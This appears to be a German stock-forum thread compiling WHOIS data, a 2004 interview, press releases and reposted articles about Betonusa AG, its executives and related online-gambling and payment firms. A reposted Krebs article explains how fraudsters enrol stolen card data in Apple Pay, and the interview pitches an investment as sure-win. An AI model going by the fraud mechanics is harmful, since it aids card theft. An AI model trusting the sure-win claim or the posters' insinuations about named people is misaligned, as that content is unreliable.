      As well as...

      Organization:
      IEE Ltd.
      Eric Bouchard
      60 Nevis
      St Jogns,
      AG
      Phone: 416-644-0139
      Fax..: 416-644-0140
      Email: craig@pyramidcasino.com

      Registrar Name....: Register.com
      Registrar Whois...: whois.register.com
      Registrar Homepage: http://www.register.com

      Domain Name: BetonUSA.COM

      Created on..............: Tue, Mar 20, 2001
      Expires on..............: Thu, Mar 20, 2003
      Record last updated on..: Tue, Oct 29, 2002

      Administrative Contact:
      IEE Ltd.
      Eric Bouchard
      60 Nevis
      St Jogns,
      AG
      Phone: 416-644-0139
      Fax..: 416-644-0140
      Email: craig@pyramidcasino.com


      NS.PYRAMIDCASINO.COM 216.191.112.4
      NS2.PYRAMIDCASINO.COM 216.191.112.61


      "you have won"-scams in Deutschland:

      siehe
      "das legendäre Postfach in Great Dunmow"

      2004, Prager Zeitung
      Ohne Frack zum Glücksspiel
      1. 12. 2004, Themenbereich: PZ-Specials
      Mike Hansch holt Black Jack, Roulette und die Sportwette an den heimischen Computer.

      Schon die alten Cowboys haben bei ihrem Kartenspielen im Saloon um Geld gewettet, Spielerstädte wie Las Vegas sind längst beliebte Urlaubsziele. Doch wie entwickelt sich das Glücksspiel weiter?

      Bernd Rudolf sprach mit Mike Hansch über ein Konzept, bei dem es nicht nur um Glücksspiel am Computer geht, sondern vor allem um ein Geschäftsmodell, das Anlegern hohe Renditen verspricht.

      Herr Hansch, Sie betreiben ein Internet-Casino. Wie kann man sich das vorstellen?

      Hansch: Zunächst möchte ich anmerken, dass nicht ich, sondern die von mir vertretene Unternehmensgruppe die Internet-Portale betreibt. Ein Casino-Portal ist ein per PC und Internet erreichbarer, am Ort des Servers staatlich weltweit lizensierter Glücksspielbetrieb, der klassische Casinospiele plus Sportwetten und Lotterie unter einem Dach vereint.

      Wie viele virtuelle Casinos betreiben Sie und was kann dort alles gespielt werden?

      Hansch: Unsere Unternehmensgruppe betreibt 80 Casino-Portale.Alle klassischen Casinospiele wie zum Beispiel Black Jack, Roulette, einarmige Banditen, Craps und vieles mehr sind dort vertreten. Außerdem kann auf alle internationale Sportgeschehnisse gewettet werden so auch auf Spiele der Deutschen Bundesliga oder die Ergebnisse der Formel 1.

      Was fasziniert so viele Leute am Glücksspiel, obwohl man mehr verlieren kann als gewinnen?

      Hansch: Es ist die Chance, etwas gewinnen zukönnen. Das Risiko des Verlustes wird akzeptiert. Einige spielen auch nur zum reinen Zeitvertreib und sehen ihren Spieleinsatz quasi als “Eintrittsgeld” für das gebotene Spiel. Einige Spieler spielen auch aus Sucht.

      Sie haben eine Geschäftsidee umgesetzt, bei der man nur gewinnen kann. Wie funktioniert das?

      Hansch: In dem sich der Anleger an einem Softwarelizenzgeber für eine Glückspielsoftware beteiligt. Über die Softwarelizenzvergütung erhält der Anleger einen Teil der Spielerlöse von allen lizensierten Internet-Casinos. Aus den Anlegergeldern werden die bis jetzt getätigten Investitionen refinanziert, sowie ein weltweites Marketing angeschoben. Außerdem haben wir unseren Anlegern bereits die geglückte Übernahme eines der größten Sportwetten- und Casino-Portale der USA mitteilen können. Allein dieses seit 1999 auf dem Markt befindliche Casino www.BetOnUSA.com (USA) verfügt monatlich über 50 Millionen Dollar Spielereinsätze.
      Außerdem wurde www.BetChamps.com (Asien) und www.PyramidCasino.com (Europa, Russland) übernommen. Dort wird nach vollständiger Platzierung der Anteilscheine mit dem Marketing begonnen. Wir greifen dann natürlich auf bereits erprobte Konzepte von unserem erfolgreichen BetOnUSA- Casino zurück. Die anderen 77 Casinos werden nach und nach länderspezifisch beworben.

      Wieviel Geld muss ein Anleger investieren?

      Hansch: Ab 2500 Euro Einmalzahlung ist man dabei.

      Wie hoch sind die Ausschüttungen?

      Hansch: Je Anteil ergaben sich folgende Auszahlungen:
      August 04 = 8,00 Euro
      September 04 = 19,77 Euro
      Oktober 04 = 26,52 Euro
      November 04 = 50,00 Euro (zirka)

      Erklären Sie unseren Lesern bitte das Beteiligungsmodell.

      Hansch: Die gesamten Ansprüche am Gewinn der Software-Lizenzvergütungen aus 80 Casino-Portalen sind in 16 000 Anteile zu jeweils 2500 Euro aufgeteilt, so dass ein Anteil einen Anspruch auf 1/16 Promille des Gesamtgewinn ergibt.
      Der Anleger ist dabei weder am Spiel, noch am Veranstalter des Spiels, sondern ausschließlich am Gewinn des Lizenzgebers der Glücksspiel-Software beteiligt.

      Aber die Besteuerung von Casinos ist jedenfalls in Deutschland hoch. Wie schaffen Sie es trotzdem so hohe Renditen zu garantieren?

      Hansch: Da wir sozusagen “Offshore” auf den
      Niederländischen Antillen (Curacao) ansässig sind und von der Regierung der Antillen lizensiert sind, zahlen wir nur die dort ortsüblichen Steuern für Offshorefirmen in Höhe von 2 Prozent.

      Welche Vorteile bieten Internet-Casinos gegenüber den herkömmlichen?

      Hansch: Es ist ein ungleiches und chancenloses Rennen: Ortsgebundene Spielbank gegen Internet-Casino
      (Siehe Tabelle)

      Welche Möglichkeiten werden dem Mitspieler geboten, seine Einsätze zu tätigen?

      Hansch: Der interssierte Spieler kann seinen Einsatz per Kreditkarte, per Lastschrift (einfach Bankdaten eingeben) sowie bar per Western Union tätigen. Eventuelle Gewinne werden in der Regel per Scheck ausgezahlt.

      Glücksspiel gibt es fast so lange wie die Menschheit. Sehen Sie auch in Zukunft in dieser Branche einen Wachstumsmarkt?

      Hansch: Spieler und solche, die es werden, wird es immer geben. Die Frage ist nur welcher Glücksspielanbieter es schafft, den Spieler zu überzeugen, dass er bei ihm spielt.
      Da die heranwachsene Generation mit dem Internet aufwächst sehe ich die Zukunft ganz klar bei uns.
      Nicht umsonst will Niedersachsen die landeseigenen Spielbanken verkaufen. Ich selbst komme aus der Spielhallenbrache und habe mein Unternhemen letztes Jahr im Mai verkauft.

      Auf welche Höhe schätzen Sie die Zuwächse in den nächsten Jahren?

      Hansch: Das gesamte Wachstum der Branche wird nicht weniger als 100 Prozent betragen. Wir werden natürlich versuchen das zu übertreffen.

      Bei welchem Glücksspiel hat der Spieler die höchsten Chancen zu gewinnen?

      Hansch: Ganz eindeutig bei Black Jack. Aber nur wenn er zumindest die “Basic Strategie” beherrscht. Diese Strategie wird auf unseren Seiten vorgestellt und ist unter Spielern allgemein bekannt. In Las Vegas spielt jeder zweite schon nach diesen Regeln.
      Der Vorteil der Bank gegenüber dem Spieler beträgt dann nur noch ca. 2 Prozent. Wussten Sie, dass es ganze Bücher über Black Jack gibt? Die kann ich nur jedem interessierten Spieler empfehlen.

      http://www.casmaker.com

      Den gesamten Artikel können Sie in der Druckausgabe der Prager Zeitung oder in unserem ePaper lesen.


      Von Bernd Rudolf
      Avatar
      schrieb am 02.05.16 23:54:48
      Beitrag Nr. 85 ()
      27.7.06

      Betonusa übernimmt die Genpage Holding AG - Payment Processor mit
      Sportwetten-Lizenz - Signifikanter Ergebnissprung

      Die Betonusa AG hat heute die Genpage Holding AG (www.genpage.de ), eine
      gemischte Unternehmensgruppe in den Bereichen Online Payment und
      Internet-Wetten vollständig übernommen.
      Über den Kaufpreis wurde Stillschweigen vereinbart; der Großteil der
      Genpage Aktien wurde gegen Bar erworben, der Rest gegen Gewährung von
      Aktien der Betonusa AG im Wege der Kapitalerhöhung gegen Sacheinlage.

      Die Genpage Holding AG verfügt über umfangreiche Erfahrungen im Bereich
      internationaler Online Zahlungssystemen, alleine im Jahr 2006 werden
      voraussichtlich Zahlungen in Höhe von etwa € 300 Mio. abgewickelt werden.
      Durch die vertikale Integration der Genpage Holding AG erschließt sich die
      Betonusa AG den permanenten Zugang zu effizienten online Zahlungssystemen,
      die seit jeher einen strategischen Schlüsselfaktor für alle Unternehmen der
      Branche darstellen.

      Der Vorstand erwartet durch die Übernahme der Genpage Holding AG einen
      signifikanten Ergebnissprung in der Betonusa AG:

      - Der geschätzte Ergebnisbeitrag der Genpage Gruppe für das nur 7 Monate
      umfassende Rumpfgeschäftsjahr vom 1.1.2006 bis 31.7.2006 beträgt rund
      1,4 Mio Euro vor Steuern.
      - Darüber hinaus wird ein zusätzlicher, außerordentlicher Ertrag in Höhe
      von € 686.000 erwartet, der einen zusätzlichen EBIT von über € 2 Mio. für
      das laufende Geschäftsjahr bedeutet.
      - Für das folgende Geschäftsjahr plant der Vorstand neben einem
      konsolidierten Gewinnbeitrag von rund 2 Mio. Euro aus dem bisherigen
      Geschäft der Genpage-Gesellschaften ein Einsparungspotential von bis zu €
      2,5 Mio. bei den Kreditkartenkosten der Gruppe, der durch die geplante
      Abwicklung des Zahlungsverkehrs durch die Genpage Beteiligungs
      Unternehmen entstehen soll.

      Weiterhin verfügt die Genpage Holding AG über eine österreichische
      Sportwetten-Lizenz, wodurch der Expansion der Betonusa AG in den
      europäischen online Glücksspielmarkt der Weg geebnet wird.

      'Diese Übernahme, die unser neuer CFO Oliver Binsner wesentlich vorbereitet
      hat, ist ein Glücksfall für die Betonusa AG. Wir setzen mit dieser
      Übernahme auf eine Doppelstrategie: Zum einen wird uns der kurzfristige
      Einstieg in den Europäischen Glücksspielmarkt ermöglicht, zum anderen
      verbessert sich unser Ergebnis sowohl quantitativ als auch qualitativ. Die
      Betonusa AG wird ihren konsequenten Expansionskurs auch in einem
      schwierigen Börsenumfeld weiterhin fortsetzen“, so Craig Levett, CEO der
      Betonusa AG.

      Zum Unternehmen:
      Die Betonusa AG mit Sitz in Hannover ist eine Holding mit Beteiligungen im
      Bereich online Gaming. Im ersten Halbjahr des laufenden Geschäftsjahres,
      das den Zeitraum vom 1.8.2005 bis 31.1.2006 umfasste, wurde ein
      Konzernumsatz nach IFRS von € 10,73 Mio. und ein Gewinn nach Steuern in
      Höhe von € 2,263 Mio. erzielt.
      Die in den Beteiligungen erzielten Wettumsätze (Handle) erreichten bereits
      im Geschäftsjahr 2004/2005 die Milliardengrenze.

      Kontakt:
      Oliver Binsner, Vorstand Telefon:+49 (511) 37 44 49 50
      Betonusa AG Fax.+49 (511) 37 44 49 59

      Masurenweg 12 Email: info@betonusa.de
      D-30163 Hannover Internet: www.betonusa.de

      WKN: A0B921
      ISIN: DE000A0B9212
      Börse: Open Market, Entry Standard der Frankfurter Wertpapierbörse
      Amtsgericht: Hannover, HRB 61610
      Avatar
      schrieb am 02.05.16 23:55:38
      Beitrag Nr. 86 ()
      20.12.2006

      Aufspaltung der Betonusa AG - Abspaltung der Online-Payment-Aktivitäten in Genpage Holding AG
      20.12.2006, 11:38
      Aufspaltung der Betonusa AG - Abspaltung der Online-Payment-Aktivitäten in Genpage Holding AG

      Hannover, 20. Dezember 2006. Die Betonusa AG (WKN: A0B921) plant, den unter der Genpage Holding AG zusammengefassten Geschäftsbereich IPSP (Internet Payment Service Providing) abzuspalten. Dies will der Konzern bei der kommenden Hauptversammlung im März vorschlagen. Durch die Abspaltung entstehen zwei unabhängige Gesellschaften: die Betonusa AG mit Beteiligungen im Bereich des interaktiven Online-Entertainment und die Genpage Holding AG mit Beteiligungen im IPSP-Markt.

      Die Aktionäre der Betonusa AG sollen zusätzlich zu den Aktien der Betonusa AG Aktien der Genpage Holding AG erhalten. Die Aktionäre sind dadurch wie bisher am gesamten Unternehmensportfolio beteiligt: über die Aktien der Betonusa AG an den Geschäftsfeldern Online-Entertainment sowie über die Aktien der Genpage Holding AG an den abgespaltenen Aktivitäten des Online-Payment.

      'Die geplante Abspaltung ist der direkteste, schnellste und günstigste Schritt zu dem angestrebten Ziel, erstens den geänderten rechtlichen Rahmenbedingungen Rechnung zu tragen und zweitens der Genpage Holding AG mit ihrem Online-Payment-Geschäft gleichzeitig Wachstumsperspektiven außerhalb der Betonusa AG zu eröffnen', erklärt Elke Hansch-Sood aus dem Vorstand der Betonusa AG.
      Die Betonusa AG konzentriert sich auf das Online-Entertainment-Geschäft. Als Finanzholding soll sie nach der Aufteilung des Unternehmens jeweils zu 100 Prozent an den Unternehmen Cybertronix Inc. (Montreal, Canada), Internet Empire Entertainment Ltd. (St.John's, Antigua), EIMAS Enterprises Ltd. (Tortuga, BVI) und Scorecard Media Ltd. (Vancouver, Canada) beteiligt sein. Die Beteiligungen erzielen Einnahmen aus Marketing und Software-Lizenzen aus dem Online-Entertainment-Geschäft verschiedener Domains wie www.betonusa.com und www.sportsbetting.com.

      'Die Gewinnprognosen der Betonusa AG konnten im abgelaufenen Geschäftsjahr (5,2 Mio. Euro Gewinn nach Steuern gemäß IAS-/IFRS) eingehalten werden, so dass wir den Gewinn von im gleichen Segment tätigen Unternehmen wie Bwin, Fluxx oder bet-at-home übertreffen konnten', sagt Oliver Binsner, Vorstand der Betonusa AG. Durch die Übernahme des Spielbetriebs der Worldgaming PLC und der sehr positiven Entwicklung im ersten Quartal erwartet die Betonusa AG im laufenden Geschäftsjahr den Gewinn auf über 20 Millionen Euro zu erhöhen. Für das laufende Geschäftsjahr wird eine Dividendenausschüttung von über 0,25 Euro pro Aktie erwartet.

      Die Genpage Holding AG konzentriert sich auf den IPSP-Markt und ist als Finanzholding zu jeweils 100 Prozent an den Unternehmen WebTRADE.NET The-Payment.Company GmbH (Frankfurt) und Inatec Solutions GmbH (Frankfurt) sowie zu 80,8 Prozent an der Blitztrade Gesellschaft für elektronische Märkte und Börsensysteme mbH (Mannheim) beteiligt. Die Genpage Holding AG erzielt über ihre Beteiligungen Einnahmen im IPSP-Markt für Kunden der unterschiedlichsten Branchen wie Telekommunikation (Nokia - Michel Communications), Medien (MDR), Banken (Postbank, Sparkasse Köln), Handel (Swarowski), Industrie (Bosch, Deutz AG) oder Finanzdienstleistungen (Franklin Templeton). Die Genpage Holding AG rechnet im laufenden Geschäftsjahr mit einem Ergebnis von mindestens 1,9 Mio. Euro Gewinn vor Steuern und zählt zu den führenden Unternehmen im internationalen IPSP-Markt (Internet Payment Service Providing).

      Die Abspaltung dieses Unternehmenszweiges bedarf der Zustimmung des Aufsichtsrats sowie von drei Vierteln des auf der Hauptversammlung repräsentierten Kapitals. Der rechtliche Vollzug der Abspaltung erfolgt nach Zustimmung durch die Aktionäre. Jeder Aktionär der Betonusa AG erhält zusätzlich zu seinen Betonusa-Aktien für je 30 Betonusa Aktien eine Genpage Aktie.
      Die Aktien der Betonusa AG werden wie bisher im Entry Standard der Frankfurter Wertpapierbörse gehandelt. Die Aktien der Genpage Holding AG sollen zunächst in den Open Market der Frankfurter Wertpapierbörse einbezogen werden. Das Unternehmen rechnet bei einem KGV von 15 mit einer Notierung von etwa 30 Euro je Genpage-Aktie.

      Wirtschaftliche Ausblicke in dieser Pressemeldung entsprechen dem gegenwärtigen Kenntnisstand, beinhalten aber Risiken und Unsicherheitsfaktoren. Der tatsächliche Geschäftsverlauf kann je nach Veränderung der Rahmenbedingungen davon abweichen.


      Weitere Informationen:
      Betonusa AG, Mike Hansch, Masurenweg 12, 30163 Hannover, Tel.: 0511- 37 44 49 50, Fax: 0511- 37 44 49 59, E-Mail: info@betonusa.de, Internet: www.betonusa.de

      Pressekontakt:
      Konzept PR GmbH, Jürgen Gocke, Karolinenstr. 21, 86150 Augsburg, Tel.: 0821- 343 00 12, Fax: 0821- 343 00 77, E-Mail: j.gocke@konzept-pr.de, Internet: www.konzept-pr.de
      Avatar
      schrieb am 03.05.16 00:00:47
      Beitrag Nr. 87 ()
      Casmaker-Webseite, ca. 2005

      (das ist oben erwähnte Pyramid Casino von Craig Levett und den Baazovs)
      Avatar
      schrieb am 03.05.16 00:12:41
      Beitrag Nr. 88 ()
      Antwort auf Beitrag Nr.: 52.329.688 von jigajig am 02.05.16 23:37:14
      Zitat von jigajig: Oliver Binsner, Jens Leinert --> Pegasus Beteiligungen (2002)

      Robert G Loch
      Der Aufsichtsrat der in Insolvenz befindlichen Gold-Zack AG, Mettmann, hat heute Herrn Hans Wrieden, Dreieich, zum seinem Vorsitzenden sowie Herrn Robert G. Loch, Neu-Isenburg, zum neuen Vorstand bestellt.

      Organisation
      Die Betonusa AG ist Konzernholding für ihre operativen Tochtergesellschaften Internet Empire Entertainment Ltd., St. John, Antigua und 9088-9437 Quebec Inc., die unter dem Namen Cybertronix, Montreal - St. Laurent, Kanada handelt. Die Betonusa AG vereinnahmt ausschließlich Beteiligungserträge. Ihre Tätigkeiten als Konzernholding am Standort in Hannover umfassen unter anderem die strategische Führung, das Finanzmanagement und das Controlling sowie die Steuerung und Koordination.

      Die folgende Übersicht gibt einen Überblick über die aktuelle Konzernstruktur von Betonusa:

      Organisation


      Management - Vorstand
      Craig Levett, Vorstandsvorsitzender (CEO)
      - Wirtschaftsberater mit Erfahrung im Online Gaming Bereich seit 1999
      - Hat IEE Ltd. Antigua mit aufgebaut

      Elke Hansch-Sood, Vorstandsmitglied
      Kauffrau

      Management - Aufsichtsrat
      Robert G. Loch (Aufsichtsratsvorsitzender)
      Kaufmann

      Ralf-Arno Sood (stellvertretender Vorsitzender)
      Ingenieur

      Ofer Baazov (Mitglied des Aufsichtsrats)
      Kaufmann


      ca. 2006

      OFER BAAZOV!!!
      Avatar
      schrieb am 03.05.16 01:33:01
      Beitrag Nr. 89 ()
      Das was BOU jetzt nachgeholt haben, war eine logische Konsequenz. Kein börsennotiertes Unternehmen kann sich vor seine Aktionäre stellen und sagen "Wir verdienen unser Geld mit Gambling in den USA". Dann trägt man sogar noch diesen Namen. Sportingbet, 888 oder PartyGaming hatten das perfekt vorgemacht.

      Verkauf des USA-Geschäfts als "Management-Buy-Out" an eine nicht börsennotierte Company.
      Warum hat man bei BOU solange gezögert?

      Jetzt soll das Gaminggeschäft für 34 Mio verkauft werden oder ist es bereits verkauft. Per Ratenzahlung, Super.

      Da bleibt nicht viel übrig für die BOU AG. Wer die Gesellschafter der neuen Firma ist, darüber kann jeder selber spekulieren.

      Besser wäre es natürlich, wenn das Geld sofort gezahlt werden würde. Davon könnte die Genpage entsprechend profitieren. Man könnte andere Payment-Provider dazu kaufen wie z.B. eine Pago oder auch eine Bank. Man würde einer wirecard dann sehr nahe kommen.

      Doch was macht man?
      Man will Spielhallen und Wettshops betreiben. In D. werden die Wettshops geschlossen, weil die juristische Lage das verlangt. Aber die BOU hält sich für cleverer.

      Auf Genpage wird die große Hoffnung gesetzt. Aber aus Branchenkreisen erfährt man, dass einige Kunden zu anderen Anbietern wechseln würden.
      Welche Kunden auf der Referenzliste sind noch aktiv?

      Auch haben seit Oktober zahlreiche Mitarbeiter wohl das Unternehmen verlassen. Gewohnte Ansprechpartner sind jedenfalls nicht mehr anzutreffen.

      Auch ist bei der Genpag-Tochter Inatec seit Kurzem als Geschäftsführer Mike Hansch aufgeführt. Ist Herr Kiessler kein Vorstand & Geschäftsführer mehr?

      Wenn die BOU sich von seinen Gaming-Bereichen trennt, wieviel Payment wurde von den eigenen Casinos über die Genpage abgewickelt? Bricht dieser Umsatz für die Genpage auch weg? Was bleibt noch übrig?

      Ich stelle mir die Frage, warum ein Mike Hansch als Tausendsassa für alle Vorstands und Geschäftsführerposten einspringen muss?

      Was ist dies für eine Personalpolitik? Als Experten wie Binsner, Levett, Kiesler & Co das Unternehmen verlassen haben, warum wurde da kein Ersatz gefunden?

      Nichts gegen MH, aber dies sind mir ein paar zu viele offene Baustellen....

      Ich bin sehr skeptisch und hoffe, dass es für viele Aktionäre nicht noch schlimmer kommt....mir fehlt der Glaube.....

      (Jens Leinert Anfang 2007)
      Avatar
      schrieb am 03.05.16 01:45:03
      Beitrag Nr. 90 ()
      Das was BOU jetzt nachgeholt haben, war eine logische Konsequenz. Kein börsennotiertes Unternehmen kann sich vor seine Aktionäre stellen und sagen "Wir verdienen unser Geld mit Gambling in den USA". Dann trägt man sogar noch diesen Namen. Sportingbet, 888 oder PartyGaming hatten das perfekt vorgemacht.

      Verkauf des USA-Geschäfts als "Management-Buy-Out" an eine nicht börsennotierte Company.
      Warum hat man bei BOU solange gezögert?

      Jetzt soll das Gaminggeschäft für 34 Mio verkauft werden oder ist es bereits verkauft. Per Ratenzahlung, Super.

      Da bleibt nicht viel übrig für die BOU AG. Wer die Gesellschafter der neuen Firma ist, darüber kann jeder selber spekulieren.

      Besser wäre es natürlich, wenn das Geld sofort gezahlt werden würde. Davon könnte die Genpage entsprechend profitieren. Man könnte andere Payment-Provider dazu kaufen wie z.B. eine Pago oder auch eine Bank. Man würde einer wirecard dann sehr nahe kommen.

      Doch was macht man?
      Man will Spielhallen und Wettshops betreiben. In D. werden die Wettshops geschlossen, weil die juristische Lage das verlangt. Aber die BOU hält sich für cleverer.

      Auf Genpage wird die große Hoffnung gesetzt. Aber aus Branchenkreisen erfährt man, dass einige Kunden zu anderen Anbietern wechseln würden.
      Welche Kunden auf der Referenzliste sind noch aktiv?

      Auch haben seit Oktober zahlreiche Mitarbeiter wohl das Unternehmen verlassen. Gewohnte Ansprechpartner sind jedenfalls nicht mehr anzutreffen.

      Auch ist bei der Genpag-Tochter Inatec seit Kurzem als Geschäftsführer Mike Hansch aufgeführt. Ist Herr Kiessler kein Vorstand & Geschäftsführer mehr?

      Wenn die BOU sich von seinen Gaming-Bereichen trennt, wieviel Payment wurde von den eigenen Casinos über die Genpage abgewickelt? Bricht dieser Umsatz für die Genpage auch weg? Was bleibt noch übrig?

      Ich stelle mir die Frage, warum ein Mike Hansch als Tausendsassa für alle Vorstands und Geschäftsführerposten einspringen muss?

      Was ist dies für eine Personalpolitik? Als Experten wie Binsner, Levett, Kiesler & Co das Unternehmen verlassen haben, warum wurde da kein Ersatz gefunden?

      Nichts gegen MH, aber dies sind mir ein paar zu viele offene Baustellen....

      Ich bin sehr skeptisch und hoffe, dass es für viele Aktionäre nicht noch schlimmer kommt....mir fehlt der Glaube.....

      (Jens Leinert Anfang 2007)

      https://www.moneyhouse.de/Genpag-e-Holding-AG-Frankfurt-am-M…
      Jörg Sahlmann?
      eValue

      Zitat von jigajig: Jens Röhrborn
      eValue (bis ca. 201

      Jens Röhrborn,
      Chief Investment Officer, Vorstand
      Transaktionsexperte, Rechtsanwalt
      17 Jahre Erfahrungin den Bereichenemerging companies und technology.
      Werdegang:
      Orrick Herrington & Sutcliffe, LLP, Partner and Member of the Emerging Companies
      Practice Group, HolmeRoberts & Owen, LLP, Knoll, Röhrborn& Partner
      eValueAG, Vorstand, seit2008 verantwortlich für alleInvestments und Divestments
      des eValuePortfolios.
      WirecardBank AG, Mitglieddes Aufsichtsrats(bis2010).

      http://www.evalue.de/#member

      Röhrborn - Falk und Müller von Stroeer. Manchmal erschrecke ich selbst vor mir ;)
      Avatar
      schrieb am 03.05.16 19:31:10
      Beitrag Nr. 91 ()
      11
      Mar 15
      Apple Pay: Bridging Online and Big Box Fraud

      Lost amid the media firestorm these past few weeks about fraudsters turning to Apple Pay is this stark and rather unsettling reality: Apple Pay makes it possible for cyber thieves to buy high-priced merchandise from brick-and-mortar stores using stolen credit and debit card numbers that were heretofore only useful for online fraud.

      applepayTo understand what’s going on here, a quick primer on card fraud is probably in order. If you’re a fraudster and you wish to walk into a Best Buy store and walk out with a big screen TV or xBox console on someone else’s dime, you’re going to buy “dumps,” which are data stolen straight off the magnetic stripe on the backs of cards.

      Typically, dumps are stolen via malware planted on point-of-sale devices, as in the breaches at brick-and-mortar stores like Target, Home Depot and countless others over the past year. Dumps buyers encode the data onto new plastic, which they then use “in-store” at retailers and walk out with armloads full of high-priced goods that can be easily resold for cash. The average price of a single dump is between $10-$30, but the payoff in stolen merchandise per card is often many times that amount.

      When fraudsters want to order something online using stolen credit cards, they go buy what the crooks call “CVVs” — i.e., card data stolen from hacked online stores. CVV stands for “card verification code,” and refers to the three-digit code on the back of cards that’s required for most online transactions. Fraudsters buying CVVs get the credit card number, the expiration date, the card verification code, as well as the cardholder’s name, address and phone number. Because they’re less versatile than dumps, CVVs cost quite a bit less — typically around $1-$5 per stolen account.

      So in summary, dumps are stolen from main-street merchants, and are sought after by crooks mainly for use at main street merchants. CVVs, on the other hand, are stolen from online stores, and are useful only for fraud against online stores.

      Enter Apple Pay, which potentially erases that limitation of CVVs because it allows users to sign up online for an in-store payment method using little more than a hacked iTunes account and CVVs. That’s because most banks that are enabling Apple Pay for their customers do little, if anything, to require that customers prove they have the physical card in their possession.

      Avivah Litan, a fraud analyst with Gartner Inc. explained a blog post published earlier this month that Apple provides banks with a fair amount of data to aid banks in their efforts at “identity proofing” the customer, such as device name, its current geographic location, and whether or not the customer has a long history of transactions with iTunes.

      All useful data points, of course, unless the iTunes account that all of this information is based on is hijacked by fraudsters. And as we know from previous stories on this blog, there is a robust trade in the cybercrime underground for hijacked iTunes accounts, which retail for about $8 per account.

      Litan’s column continues:

      Interestingly, neither Apple nor the banks get any useful identity information out of the mobile carriers – at least that I know or heard of. And mobile carrier data could be particularly helpful with identity proofing. For example the banks could compare the mobile service’s billing address with the card account holder’s billing address.

      For years, we have been briefed by vendors offering a plethora of innovative and strong user authentication solutions for mobile payments and commerce. And for years, we have been asking the vendors touting them how they know their mobile app is being provisioned to a legitimate user rather than a fraudster. That always appeared to me to be the weakest link in mobile commerce –making sure you provide the app to the right person instead of a crook.

      Identity proofing in a non-face-to-face environment is anything but easy but there are some decent solutions around that can be stitched together to significantly narrow down the population of fraudulent transactions and identities. The key is reducing reliance on static data – much of which is PII data that has been compromised by the crooks – and increasing reliance on dynamic data, like reputation, behavior and relationships between non-PII data elements.

      This problem is only going to get worse as Samsung/LoopPay and the MCX/CurrentC (supported by Walmart, BestBuy and many other major retailers) release their mobile payment systems, without the customer data advantages Apple has in their relatively closed environment.

      Sure, the banks could pressure Apple Pay to make their users take a picture of their credit cards with the iPhone and upload that data before signing up. That might work for a short while to deter fraud, at least until the people at underground document forgery sites like Scanlab see a new market for their services.

      But in the end, most banks coming online with Apple Pay are still using customer call centers to validate new users, leveraging data that can be purchased very cheaply from underground identity theft sites. If any of you doubt how easy it is to buy personal data on just about anyone, check out the story I wrote in December 2014, wherein I was able to find the name, address, Social Security number, previous address and phone number on all current members of the U.S. Senate Commerce Committee.

      The irony here is that while Apple Pay has been touted as a more secure alternative to paying with a credit card, the way Apple and the banks have implemented it actually makes card fraud cheaper and easier for fraudsters.

      The irony here is that while Apple Pay has been touted as a more secure alternative to paying with a credit card, the way Apple and the banks have implemented it actually makes card fraud cheaper and easier for fraudsters.

      Even more deliciously ironic, as noted in Cherian Abraham‘s insightful column at Droplabs, is how much of the fraud stemming from crooks signing up stolen credit cards with Apple Pay was tied to purchases of high-dollar Apple products at Apple’s own brick-and-mortar stores! That banks end up eating the fraud costs from this activity is just the cherry on top.

      Abraham said the banks are in this mess because they didn’t demand more transparency and traceability from Apple before rushing to sign customers up (or “provision” them, in banker-speak) for Apple Pay.

      “One of the biggest gripes I have heard from issuers is the lack of transparency from Apple (what did they expect?) and the makeshift reporting provided to issuers that is proving to be woefully inadequate,” Abaraham wrote. “As long as issuers fall back on measures easily circumvented by freely available PII – this problem will continue to leech trust and large sums of cash. And alongside of the latter, there is much blame to go around as well.”

      Both Abraham and Gartner’s Litan say banks need to take a step back and take the time to develop more robust, thoughtful and scalable solutions to identity proofing customers, particularly as other mobile providers begin rolling out their mobile payment systems without the customer data advantages that Apple has in their relatively closed environment.

      “The vendors in the mobile user authentication space have consistently answered that they are leaving account provisioning policies to the banks or other consumer service providers provisioning the apps,” Litan wrote. “Well maybe it’s time for them to reconsider and start helping their client banks and service providers by supporting identity proofing solutions built into their apps. Whoever does this well is surely going to win lots of customer support… and revenue.”


      http://krebsonsecurity.com/2015/03/apple-pay-bridging-online…
      Avatar
      schrieb am 03.05.16 19:35:52
      Beitrag Nr. 92 ()
      Forbes/Jason Galanis
      Seth Lubove
      3/22/2004 @ 7:04PM
      Porn's New King

      The son of notorious white-collar scamster John Peter Galanis John Peter Galanis has quietly resurfaced as the buyer of the nation’s largest processor of payments for Internet porn.

      Credit-card processor Intercept ‘s 2002 acquisition of Internet Billing, or iBill, may go down in history as one of the most boneheaded acquisitions ever by a public company. Now, it’s finding it just as embarrassing to get rid of iBill.

      IBill is the largest processor of credit-card payments for the purchase of dirty digital pictures (see “Visa’s Porn Crackdown“). It is literally the engine of paid Internet porn. The company had successfully operated anonymously behind the scenes until 2002, when Intercept paid $104 million to acquire iBill from its founders. After first telling investors that porn made up just a minor amount of iBill’s business, Intercept (which had $259 million in revenue for 2003) finally confessed that porn was actually responsible for 85% of iBill’s annual credit-card transactions, which once amounted to as much as $720 million.

      Having agreed last month to a settlement of $5.3 million for the various class-action lawsuits that resulted from the company’s understatement of iBill’s dependence on porn, Intercept also announced a deal to relieve itself of the business and sell the division that includes iBill for a lowball $37 million to a group that included management and outside investors (after dropping plans from October to take all of Intercept private). Then, on March 15, the company reversed course yet again and said it would sell iBill separately to yet another buyer, whom the company never disclosed.

      “None of those names have been made public,” said an Intercept spokeswoman. “I can’t respond.”

      For good reason. It turns out the identity of what Intercept only characterizes as “another entity” has become an open secret among folks close to the deal, and not for reasons that will enhance Intercept’s shaky reputation. In addition to iBill’s former chief executive, Garrett Bender Garrett Bender , the other person leading the buyers is none other than Jason Galanis Jason Galanis , son of John Peter Galanis, the notorious white-collar crook who bilked investors of $400 million before he was thrown in prison, where he still resides. As Forbes reported in 2000 (see “The Long Reach Of John Peter Galanis“), the disgraced father has had heavy if not controlling influence on Jason’s businesses, which have been involved in the spectacular blowup of a Colorado bank and millions in losses for commodity giant Cargill.

      Unlike his father, Jason Galanis has never been convicted of a crime. He has, however, had at least one scrape with the law. While serving as chief executive in 2001 of something called EGX Funds Transfer (formerly known as Incubator Capital), a once-publicly traded financial processing outfit, Galanis and his brother and sometimes-business partner Derek were arrested as part of a big Drug Enforcement Agency bust of a San Diego ecstasy manufacturing and distribution ring. Although all the charges were dropped against Jason, Derek was convicted and sentenced to 11 years in jail.

